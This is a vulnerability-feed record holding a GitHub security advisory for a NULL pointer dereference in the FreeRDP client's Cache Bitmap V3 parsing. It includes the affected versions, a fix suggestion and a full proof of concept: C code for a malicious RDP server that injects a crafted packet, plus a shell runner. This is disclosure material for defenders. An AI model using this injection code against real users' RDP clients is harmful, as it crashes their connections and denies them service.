{"schema":"threatline.record/2","record":{"id":"GHSA-cq4m-gwc5-w8rc","aliases":["GHSA-cq4m-gwc5-w8rc"],"summary":"NULL Pointer Dereference in FreeRDP","details":"A malicious or compromised RDP server can terminate a connecting FreeRDP client before Demand Active when the client has enabled the non-default Bitmap Cache V3 feature through `/cache:codec:<rfx|nsc|jpeg>`.\r\n\r\nWhile waiting for Demand Active, `rdp_client_connect_demand_active()` forwards other Share Control PDU types to `rdp_recv_out_of_sequence_pdu()`. A slow-path Share Data / Update / Orders PDU can therefore reach `update_read_cache_bitmap_v3_order()`. When the server sets `CBR3_DO_NOT_CACHE`, that parser assumes `update->context->cache` is initialized:\r\n\r\n```c\r\nif ((cache_bitmap_v3->flags & CBR3_DO_NOT_CACHE) != 0)\r\n{\r\n\trdpCache* cache = update->context->cache;\r\n\tWINPR_ASSERT(cache);\r\n\r\n\tif (cache_bitmap_v3->cacheId >= cache->bitmap->maxCells)\r\n\t\tgoto fail;\r\n```\r\n\r\nThe cache is created later by `cache_resize()` during the post-activation client-channel transition. Before Demand Active, `context->cache` remains NULL. Assertion-enabled builds abort at `WINPR_ASSERT(cache)`; builds without assertions dereference the same NULL value on the following line.\r\n\r\nThe complete `libfreerdp/core/orders.c` blob is byte-identical in 3.31.1 and the inspected `master` revision. No exact public duplicate or public fix was identified. Public issue `#6013`, `GHSA-mjw7-3mq2-996x`, `GHSA-c495-h83v-3prp`, and `GHSA-h666-rfw3-jhvj` concern distinct root causes.\r\n\r\n## Impact\r\n\r\nAn affected client process terminates during connection establishment. A server that repeats the packet can prevent the selected connection from completing. The demonstrated effect is availability loss only. The report does not claim TLS bypass, authentication bypass, confidentiality loss, integrity loss, memory corruption, or code execution.\r\n\r\nThe attacker must control or compromise the RDP server, Alice must initiate the connection, and the client must have non-default Bitmap Cache V3 enabled. No prior active desktop session or FreeRDP-local privilege is required.\r\n\r\n## Validation\r\n\r\nThe unmodified FreeRDP 3.31.1 product path was exercised over a real local TLS RDP connection. The controlled FreeRDP server injected a complete 70-byte TPKT/X.224/MCS/Share Data/Update/Orders/Cache Bitmap V3 PDU from its `Capabilities` callback, immediately before the server state machine sent Demand Active.\r\n\r\nTwo valid packets differed only in the decoded Cache V3 flag:\r\n\r\n- `extraFlags=0x0028`, without `DO_NOT_CACHE`: the client reached `connected=1` and exited 0.\r\n- `extraFlags=0x0828`, with `DO_NOT_CACHE`: the client reached `update_read_cache_bitmap_v3_order`, aborted on the NULL cache, and exited 134.\r\n\r\nThis control isolates the `DO_NOT_CACHE` branch's pre-initialization cache access from TLS, packet framing, dispatch, and ordinary Cache Bitmap V3 parsing.\r\n\r\n## Reproduction\r\n\r\nBuild the exact 3.31.1 release as shared libraries and run the attached PoC:\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git freerdp-src\r\ngit -C freerdp-src checkout 3.31.1\r\ncmake -S freerdp-src -B freerdp-build \\\r\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_VERBOSE_WINPR_ASSERT=ON\r\ncmake --build freerdp-build --parallel 4\r\n\r\nFREERDP_SOURCE=\"$PWD/freerdp-src\" \\\r\nFREERDP_BUILD=\"$PWD/freerdp-build\" \\\r\n./poc/run.sh\r\n```\r\n\r\nThe runner uses loopback only, creates an ephemeral one-day certificate and test binary, runs the control and positive cases, then removes the generated certificate, private key, binary, and logs. It intentionally terminates the test client process and should be run only on a disposable local system.\r\n\r\nObserved output:\r\n\r\n```text\r\nCONTROL exit=0 connected=1 extraFlags=0x0028\r\nPOSITIVE exit=134 extraFlags=0x0828 client_terminated=1\r\nRESULT vulnerable: the DO_NOT_CACHE order terminated the pre-Demand-Active client\r\nCLEANUP generated certificate, key, binary, and logs removed\r\n```\r\n\r\n## Suggested remediation\r\n\r\nBefore dereferencing `update->context->cache` in the `CBR3_DO_NOT_CACHE` branch, check that both the cache and bitmap cache exist. If either is absent, reject the order and return a normal protocol failure. Consider also restricting pre-Demand-Active Data PDU subtypes to the set valid in that state.\r\n\r\nAdd a real connection-state regression test for the positive pre-Demand-Active packet, the matched packet without `DO_NOT_CACHE`, and both assertion-enabled and assertion-disabled builds.\r\n\r\n## Complete PoC files\r\n\r\n<!-- BEGIN FILE: poc/wire_e2e.c -->\r\n\r\n```c\r\n#include <errno.h>\r\n#include <inttypes.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <freerdp/crypto/certificate.h>\r\n#include <freerdp/crypto/privatekey.h>\r\n#include <freerdp/freerdp.h>\r\n#include <freerdp/listener.h>\r\n#include <freerdp/peer.h>\r\n#include <freerdp/settings.h>\r\n#include <freerdp/transport_io.h>\r\n#include <winpr/crt.h>\r\n#include <winpr/ssl.h>\r\n#include <winpr/stream.h>\r\n#include <winpr/synch.h>\r\n#include <winpr/winsock.h>\r\n\r\nstatic const char* g_mode = NULL;\r\nstatic const char* g_cert = NULL;\r\nstatic const char* g_key = NULL;\r\n\r\nstatic void put_u16le(BYTE** p, UINT16 value)\r\n{\r\n\t*(*p)++ = (BYTE)(value & 0xff);\r\n\t*(*p)++ = (BYTE)(value >> 8);\r\n}\r\n\r\nstatic void put_u32le(BYTE** p, UINT32 value)\r\n{\r\n\tput_u16le(p, (UINT16)(value & 0xffff));\r\n\tput_u16le(p, (UINT16)(value >> 16));\r\n}\r\n\r\nstatic BOOL inject_pre_demand_active(freerdp_peer* peer)\r\n{\r\n\tBYTE packet[70] = { 0 };\r\n\tBYTE* p = packet;\r\n\tconst BOOL positive = strcmp(g_mode, \"positive\") == 0;\r\n\tconst UINT16 extraFlags = positive ? 0x0828 : 0x0028;\r\n\tconst UINT32 shareId =\r\n\t    freerdp_settings_get_uint32(peer->context->settings, FreeRDP_ShareId);\r\n\r\n\t/* TPKT, X.224 Data TPDU, and MCS SendDataIndication. */\r\n\t*p++ = 0x03;\r\n\t*p++ = 0x00;\r\n\t*p++ = 0x00;\r\n\t*p++ = sizeof(packet);\r\n\t*p++ = 0x02;\r\n\t*p++ = 0xf0;\r\n\t*p++ = 0x80;\r\n\t*p++ = 0x68;\r\n\t*p++ = 0x00;\r\n\t*p++ = 0x01;\r\n\t*p++ = 0x03;\r\n\t*p++ = 0xeb;\r\n\t*p++ = 0x70;\r\n\t*p++ = 0x80;\r\n\t*p++ = 0x37;\r\n\r\n\t/* Share Control and Share Data headers for a 37-byte Update payload. */\r\n\tput_u16le(&p, 55);\r\n\tput_u16le(&p, 0x0017);\r\n\tput_u16le(&p, 0);\r\n\tput_u32le(&p, shareId);\r\n\t*p++ = 0;\r\n\t*p++ = 1;\r\n\tput_u16le(&p, 37);\r\n\t*p++ = 0x02;\r\n\t*p++ = 0;\r\n\tput_u16le(&p, 0);\r\n\r\n\t/* One secondary Cache Bitmap V3 order. */\r\n\tput_u16le(&p, 0);\r\n\tput_u16le(&p, 0);\r\n\tput_u16le(&p, 1);\r\n\tput_u16le(&p, 0);\r\n\t*p++ = 0x03;\r\n\tput_u16le(&p, 16);\r\n\tput_u16le(&p, extraFlags);\r\n\t*p++ = 0x08;\r\n\r\n\t/* Valid one-pixel, 32-bpp, uncompressed cache entry. */\r\n\tput_u16le(&p, 0);\r\n\tput_u32le(&p, 0x11111111);\r\n\tput_u32le(&p, 0x22222222);\r\n\t*p++ = 32;\r\n\t*p++ = 0;\r\n\t*p++ = 0;\r\n\t*p++ = 0;\r\n\tput_u16le(&p, 1);\r\n\tput_u16le(&p, 1);\r\n\tput_u32le(&p, 1);\r\n\t*p++ = 0x41;\r\n\r\n\tif ((size_t)(p - packet) != sizeof(packet))\r\n\t{\r\n\t\tfprintf(stderr, \"PACKET_BUILD_ERROR length=%zu\\n\", (size_t)(p - packet));\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tfprintf(stderr,\r\n\t        \"SERVER_INJECT mode=%s phase=Capabilities-before-DemandActive \"\r\n\t        \"extraFlags=0x%04\" PRIx16 \" length=%zu\\n\",\r\n\t        g_mode, extraFlags, sizeof(packet));\r\n\r\n\twStream* s = Stream_New(NULL, sizeof(packet));\r\n\tif (!s)\r\n\t\treturn FALSE;\r\n\tStream_Write(s, packet, sizeof(packet));\r\n\tStream_SealLength(s);\r\n\r\n\tconst rdpTransportIo* io = freerdp_get_io_callbacks(peer->context);\r\n\trdpTransport* transport = freerdp_get_transport(peer->context);\r\n\tconst int rc = (io && io->WritePdu) ? io->WritePdu(transport, s) : -1;\r\n\tStream_Free(s, TRUE);\r\n\tfprintf(stderr, \"SERVER_INJECT_RESULT rc=%d\\n\", rc);\r\n\treturn rc >= 0;\r\n}\r\n\r\nstatic DWORD WINAPI peer_main(LPVOID arg)\r\n{\r\n\tfreerdp_peer* peer = (freerdp_peer*)arg;\r\n\tHANDLE handles[32] = { 0 };\r\n\r\n\tif (!freerdp_peer_context_new(peer))\r\n\t\tgoto out_peer;\r\n\trdpSettings* settings = peer->context->settings;\r\n\trdpPrivateKey* key = freerdp_key_new_from_file_enc(g_key, NULL);\r\n\trdpCertificate* cert = freerdp_certificate_new_from_file(g_cert);\r\n\tif (!key || !cert)\r\n\t\tgoto out_context;\r\n\tif (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1) ||\r\n\t    !freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1) ||\r\n\t    !freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE) ||\r\n\t    !freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) ||\r\n\t    !freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) ||\r\n\t    !freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE) ||\r\n\t    !freerdp_settings_set_bool(settings, FreeRDP_Authentication, FALSE) ||\r\n\t    !freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32))\r\n\t\tgoto out_context;\r\n\r\n\tpeer->Capabilities = inject_pre_demand_active;\r\n\tif (!peer->Initialize(peer))\r\n\t\tgoto out_context;\r\n\r\n\tfor (;;)\r\n\t{\r\n\t\tconst DWORD count = peer->GetEventHandles(peer, handles, 32);\r\n\t\tif (count == 0)\r\n\t\t\tbreak;\r\n\t\tconst DWORD status = WaitForMultipleObjects(count, handles, FALSE, 10000);\r\n\t\tif (status == WAIT_TIMEOUT || status == WAIT_FAILED ||\r\n\t\t    !peer->CheckFileDescriptor(peer))\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tpeer->Disconnect(peer);\r\nout_context:\r\n\tfreerdp_peer_context_free(peer);\r\nout_peer:\r\n\tfreerdp_peer_free(peer);\r\n\treturn 0;\r\n}\r\n\r\nstatic BOOL peer_accepted(freerdp_listener* listener, freerdp_peer* peer)\r\n{\r\n\t(void)listener;\r\n\tHANDLE thread = CreateThread(NULL, 0, peer_main, peer, 0, NULL);\r\n\tif (!thread)\r\n\t\treturn FALSE;\r\n\tCloseHandle(thread);\r\n\treturn TRUE;\r\n}\r\n\r\nstatic int run_server(UINT16 port, const char* cert, const char* key, const char* mode)\r\n{\r\n\tWSADATA wsa = { 0 };\r\n\tHANDLE handles[32] = { 0 };\r\n\tg_mode = mode;\r\n\tg_cert = cert;\r\n\tg_key = key;\r\n\r\n\tif (WSAStartup(MAKEWORD(2, 2), &wsa) != 0 || !winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT))\r\n\t\treturn 2;\r\n\tfreerdp_listener* listener = freerdp_listener_new();\r\n\tif (!listener)\r\n\t\treturn 2;\r\n\tlistener->PeerAccepted = peer_accepted;\r\n\tif (!listener->Open(listener, \"127.0.0.1\", port))\r\n\t{\r\n\t\tfprintf(stderr, \"SERVER_LISTEN_FAILED port=%\" PRIu16 \" errno=%d\\n\", port, errno);\r\n\t\tfreerdp_listener_free(listener);\r\n\t\treturn 2;\r\n\t}\r\n\tfprintf(stderr, \"SERVER_LISTENING port=%\" PRIu16 \" mode=%s\\n\", port, mode);\r\n\r\n\tfor (;;)\r\n\t{\r\n\t\tconst DWORD count = listener->GetEventHandles(listener, handles, 32);\r\n\t\tif (count == 0)\r\n\t\t\tbreak;\r\n\t\tconst DWORD status = WaitForMultipleObjects(count, handles, FALSE, 15000);\r\n\t\tif (status == WAIT_TIMEOUT || status == WAIT_FAILED ||\r\n\t\t    !listener->CheckFileDescriptor(listener))\r\n\t\t\tbreak;\r\n\t}\r\n\tlistener->Close(listener);\r\n\tfreerdp_listener_free(listener);\r\n\tWSACleanup();\r\n\treturn 0;\r\n}\r\n\r\nstatic int run_client(UINT16 port)\r\n{\r\n\tfreerdp* instance = freerdp_new();\r\n\tif (!instance || !freerdp_context_new(instance))\r\n\t\treturn 2;\r\n\trdpSettings* settings = instance->context->settings;\r\n\tconst BOOL ok =\r\n\t    freerdp_settings_set_string(settings, FreeRDP_ServerHostname, \"127.0.0.1\") &&\r\n\t    freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, port) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_Authentication, FALSE) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_IgnoreCertificate, TRUE) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_BitmapCacheV3Enabled, TRUE) &&\r\n\t    freerdp_settings_set_uint32(settings, FreeRDP_BitmapCacheV2NumCells, 5) &&\r\n\t    freerdp_settings_set_bool(settings, FreeRDP_DeactivateClientDecoding, TRUE) &&\r\n\t    freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32);\r\n\tif (!ok)\r\n\t\treturn 2;\r\n\r\n\tfprintf(stderr,\r\n\t        \"CLIENT_CONNECT port=%\" PRIu16 \" BitmapCacheV3Enabled=1 \"\r\n\t        \"BitmapCacheV2NumCells=5\\n\",\r\n\t        port);\r\n\tconst BOOL connected = freerdp_connect(instance);\r\n\tconst UINT32 error = freerdp_get_last_error(instance->context);\r\n\tfprintf(stderr, \"CLIENT_RESULT connected=%d last_error=0x%08\" PRIx32 \"\\n\", connected,\r\n\t        error);\r\n\tif (connected)\r\n\t\tfreerdp_disconnect(instance);\r\n\tfreerdp_context_free(instance);\r\n\tfreerdp_free(instance);\r\n\treturn connected ? 0 : 1;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc < 3)\r\n\t{\r\n\t\tfprintf(stderr,\r\n\t\t        \"usage: %s client PORT | server PORT CERT KEY positive|control\\n\",\r\n\t\t        argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\tchar* end = NULL;\r\n\tconst long port = strtol(argv[2], &end, 10);\r\n\tif (!end || *end != '\\0' || port < 1 || port > 65535)\r\n\t\treturn 2;\r\n\tif (strcmp(argv[1], \"client\") == 0)\r\n\t\treturn run_client((UINT16)port);\r\n\tif (strcmp(argv[1], \"server\") == 0 && argc == 6 &&\r\n\t    (strcmp(argv[5], \"positive\") == 0 || strcmp(argv[5], \"control\") == 0))\r\n\t\treturn run_server((UINT16)port, argv[3], argv[4], argv[5]);\r\n\treturn 2;\r\n}\r\n```\r\n\r\n<!-- END FILE: poc/wire_e2e.c -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\nulimit -c 0\r\n\r\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nSOURCE=${FREERDP_SOURCE:-\"$SCRIPT_DIR/../freerdp-src\"}\r\nBUILD=${FREERDP_BUILD:-\"$SCRIPT_DIR/../freerdp-build\"}\r\nCONTROL_PORT=${CONTROL_PORT:-33971}\r\nPOSITIVE_PORT=${POSITIVE_PORT:-33972}\r\nEXPECTED_REVISION=63b948ca5cb94307fd5444ee6e73927a41ccdab4\r\nWORK=$(mktemp -d \"$SCRIPT_DIR/.freerdp-cache-v3.XXXXXX\")\r\nserver_pid=\r\n\r\ncleanup() {\r\n  if [ -n \"$server_pid\" ]; then\r\n    kill \"$server_pid\" 2>/dev/null || true\r\n    wait \"$server_pid\" 2>/dev/null || true\r\n  fi\r\n  rm -rf \"$WORK\"\r\n}\r\ntrap cleanup EXIT INT TERM\r\n\r\nfor command in cc git openssl pkg-config timeout; do\r\n  command -v \"$command\" >/dev/null 2>&1 || {\r\n    echo \"missing required command: $command\" >&2\r\n    exit 2\r\n  }\r\ndone\r\n\r\ntest \"$(git -C \"$SOURCE\" rev-parse HEAD)\" = \"$EXPECTED_REVISION\" || {\r\n  echo \"FREERDP_SOURCE must be the FreeRDP 3.31.1 release revision\" >&2\r\n  exit 2\r\n}\r\ntest -f \"$BUILD/CMakeCache.txt\" || {\r\n  echo \"FREERDP_BUILD must name a matching shared-library CMake build\" >&2\r\n  exit 2\r\n}\r\ngrep -q '#define FREERDP_VERSION_FULL \"3.31.1\"' \"$BUILD/include/freerdp/version.h\" || {\r\n  echo \"FREERDP_BUILD must be a FreeRDP 3.31.1 build\" >&2\r\n  exit 2\r\n}\r\n\r\nPKG_CONFIG_PATH=\"$BUILD/libfreerdp:$BUILD/winpr${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}\"\r\nexport PKG_CONFIG_PATH\r\nLD_LIBRARY_PATH=\"$BUILD/libfreerdp:$BUILD/winpr/libwinpr${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\"\r\nexport LD_LIBRARY_PATH\r\n\r\ncc -std=gnu11 -O1 -g \\\r\n  -I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n  -I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n  $(pkg-config --cflags freerdp3 winpr3) \\\r\n  \"$SCRIPT_DIR/wire_e2e.c\" -o \"$WORK/wire_e2e\" \\\r\n  -L\"$BUILD/libfreerdp\" -L\"$BUILD/winpr/libwinpr\" \\\r\n  $(pkg-config --libs freerdp3 winpr3)\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\r\n  -subj /CN=127.0.0.1 -keyout \"$WORK/server.key\" -out \"$WORK/server.crt\" \\\r\n  >\"$WORK/openssl.log\" 2>&1\r\n\r\nrun_case() {\r\n  mode=$1\r\n  port=$2\r\n  \"$WORK/wire_e2e\" server \"$port\" \"$WORK/server.crt\" \"$WORK/server.key\" \"$mode\" \\\r\n    >\"$WORK/server-$mode.log\" 2>&1 &\r\n  server_pid=$!\r\n  tries=0\r\n  while ! grep -q SERVER_LISTENING \"$WORK/server-$mode.log\"; do\r\n    tries=$((tries + 1))\r\n    if [ \"$tries\" -gt 100 ]; then\r\n      echo \"server did not become ready for $mode\" >&2\r\n      sed -n '1,80p' \"$WORK/server-$mode.log\" >&2\r\n      exit 2\r\n    fi\r\n    sleep 0.05\r\n  done\r\n  set +e\r\n  timeout 10 \"$WORK/wire_e2e\" client \"$port\" >\"$WORK/client-$mode.log\" 2>&1\r\n  client_rc=$?\r\n  set -e\r\n  kill \"$server_pid\" 2>/dev/null || true\r\n  wait \"$server_pid\" 2>/dev/null || true\r\n  server_pid=\r\n  printf '%s' \"$client_rc\"\r\n}\r\n\r\ncontrol_rc=$(run_case control \"$CONTROL_PORT\")\r\npositive_rc=$(run_case positive \"$POSITIVE_PORT\")\r\n\r\ntest \"$control_rc\" -eq 0\r\ngrep -q 'CLIENT_RESULT connected=1 last_error=0x00000000' \"$WORK/client-control.log\"\r\ngrep -q 'SERVER_INJECT mode=control.*extraFlags=0x0028' \"$WORK/server-control.log\"\r\nif grep -Eq 'AddressSanitizer|Segmentation fault|Aborted|winpr.*assert' \"$WORK/client-control.log\"; then\r\n  echo \"control unexpectedly crashed\" >&2\r\n  exit 1\r\nfi\r\n\r\ntest \"$positive_rc\" -ne 0\r\ngrep -q 'SERVER_INJECT mode=positive.*extraFlags=0x0828' \"$WORK/server-positive.log\"\r\ngrep -Eq 'update_read_cache_bitmap_v3_order|Segmentation fault|Aborted|assert.*cache' \\\r\n  \"$WORK/client-positive.log\"\r\n\r\necho \"CONTROL exit=$control_rc connected=1 extraFlags=0x0028\"\r\necho \"POSITIVE exit=$positive_rc extraFlags=0x0828 client_terminated=1\"\r\necho \"RESULT vulnerable: the DO_NOT_CACHE order terminated the pre-Demand-Active client\"\r\necho \"CLEANUP generated certificate, key, binary, and logs removed\"\r\n```\r\n\r\n<!-- END FILE: poc/run.sh -->\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cq4m-gwc5-w8rc","source_modified_at":"2026-09-29T06:59:28Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":"= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cq4m-gwc5-w8rc","source_modified_at":"2026-09-29T06:59:28Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T06:59:28Z","modified_at":"2026-09-29T06:59:28Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cq4m-gwc5-w8rc","fetched_at":"2026-10-24T00:31:04.721601Z","source_modified_at":"2026-09-29T06:59:28Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T06:59:28Z","content_hash":"0f6e7fa7988255932cb5afd6cb6f25fc4fb490b13b3df539d4cdd702ef791b15"}}
